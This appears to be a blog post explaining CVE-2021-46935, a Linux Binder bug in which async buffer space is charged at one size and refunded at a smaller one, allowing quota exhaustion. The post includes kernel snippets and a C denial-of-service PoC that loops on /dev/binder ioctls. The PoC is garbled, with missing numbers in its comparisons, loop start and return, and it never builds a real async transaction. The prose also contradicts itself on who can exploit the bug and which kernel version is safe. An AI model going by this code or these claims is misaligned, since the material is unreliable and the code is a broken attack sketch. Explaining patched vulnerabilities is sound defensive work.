In the world of operating system security, even the smallest mistakes can lead to subtle yet dangerous vulnerabilities. Such is the case with CVE-2021-46935, a long-unnoticed error in the Linux kernel’s Binder subsystem – a crucial component in Android’s inter-process communication (IPC). In this post, we’ll unravel this bug, show actual code snippets, walk through a demonstration exploit, and offer practical insights for system maintainers.

What Is the Linux Binder?

Binder is a lightweight IPC mechanism built into Android through the Linux kernel. It enables efficient communication between apps and services, relying on a shared buffer mechanism and fine-grained resource tracking to enforce quotas and prevent abuse.

The Origin of the Bug

The Story:
In kernel v4.13, commit 74310e06be4d made Binder safer by moving certain buffer metadata out of user-shared space. To tighten resource and abuse controls, the code began using sizeof(void *) as a minimum allocation for zero-length async transactions. This meant that *every* async request, even empty ones, would count for at least the size of a pointer (4 or 8 bytes, depending on system).

The Problem:
When freeing async transactions, the space reclaim routine forgot about this minimum size, only considering the logical buffer size (size), not the true, allocated buffer size (buffer_size).
*Result:*
* For tiny async transactions (empty or <8 bytes), the async free space pool (“credits”) would *leak* up to 8 bytes on every message.
* Given enough messages, this could eventually cause the pool to be exhausted, preventing future transactions (denial-of-service).

Here’s a simplified code snippet showing where things went wrong

// Before the fix, free operation code looked like:
list_del(&buffer->entry);
..
async_pool->free_async_space += buffer->data_size; // Only logical data size

// But the allocation charged this:
allocated_size = max(sizeof(void *), data_size);
..
async_pool->free_async_space -= allocated_size;

*Imagine a transaction with bytes of data:*

Leak: 8 bytes never returned

The Fix:

Charge and refund with the *real* buffer size

// After the patch:
async_pool->free_async_space += buffer->buffer_size; // Always matches charge

Commit Fix Reference:
- Linux commit: 5e6aa7298c94 ("binder: fix async_free_space accounting for empty parcels")

How Could An Attacker Abuse This?

This is not a classic memory corruption or privilege escalation bug; but a resource exhaustion (“denial-of-service”) flaw.

Scenario

- A malicious app rapidly posts thousands of tiny (≤8-byte) async binder transactions, each "leaking" 8 bytes of quota.

Proof-of-Concept (PoC) Sketch

Here’s a minimal C pseudo-code showing the exploit concept; it would require running on a rooted device or with proper permissions to access /dev/binder:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>

#define BINDER_WRITE_READ   _IOWR('b', 1, struct binder_write_read)

struct binder_write_read {
    uint64_t write_size;
    uint64_t write_consumed;
    uint64_t write_buffer;
    uint64_t read_size;
    uint64_t read_consumed;
    uint64_t read_buffer;
};

int main() {
    int fd = open("/dev/binder", O_RDWR);
    if (fd < ) {
        perror("open");
        return 1;
    }

    // Craft a -byte async transaction
    char data[64] = {}; // assume sufficient for header +  data
    struct binder_write_read bwr = {};
    bwr.write_size = sizeof(data);
    bwr.write_buffer = (uint64_t)data;

    for (int i = ; i < 100000; i++) { // leak lots of async_free_space
        if (ioctl(fd, BINDER_WRITE_READ, &bwr) < ) {
            perror("ioctl");
            break;
        }
    }

    close(fd);
    return ;
}

*Note: Running this may require root and an understanding of Binder internals.*

Security Impact & Real-World Consequences

- Severity: Medium. The vulnerability enables non-root, but Binder-capable userspace processes to block async IPC—potentially locking up important background work.
- Scope: Not a direct privilege escalation, but could be used as part of a chain to weaken a system (e.g., Deny a security monitoring service its async notifications).
- Mitigation: The fix is available upstream and has been applied to mainline and supported stable kernels (as seen here). Upgrade to a fixed kernel.
- Detection: If "async_free_space" is exhausted, tools like dmesg will log errors about failing to queue new transactions.

References

- Official Patch Commit
- CVE Details - CVE-2021-46935
- Binder Documentation (Android)
- Original 4.13 Commit

Quick Q&A

Q: Can a regular Android app exploit this?
A: No—most apps run in sandboxes and can't submit raw Binder transactions directly. But system services, privileged daemons, or apps with specific permissions could.

Q: Will user data be lost?
A: No. But certain inter-app communications can silently break, causing apps/services to misbehave.

Q: How long was this bug "alive"?
A: From kernel 4.13 (~2017) until its discovery and patch in 2021.

Q: How do I know if my system is vulnerable?
A: Check your kernel version; any kernel with the above patch backported, or after v5.18+, will be safe.

Conclusion

CVE-2021-46935 is a classic example of how small arithmetic mistakes in critical resource management can sneak into even the most secure systems. It’s a gentle-but-real reminder: always double-check both sides of quota accounting, especially in complex IPC and kernel code.

If you maintain embedded Linux or Android images, make sure your kernel is updated to include this patch—or risk the possibility of undetected resource DoS!

Timeline

Published on: 02/27/2024 10:15:07 UTC
Last modified on: 04/10/2024 18:24:38 UTC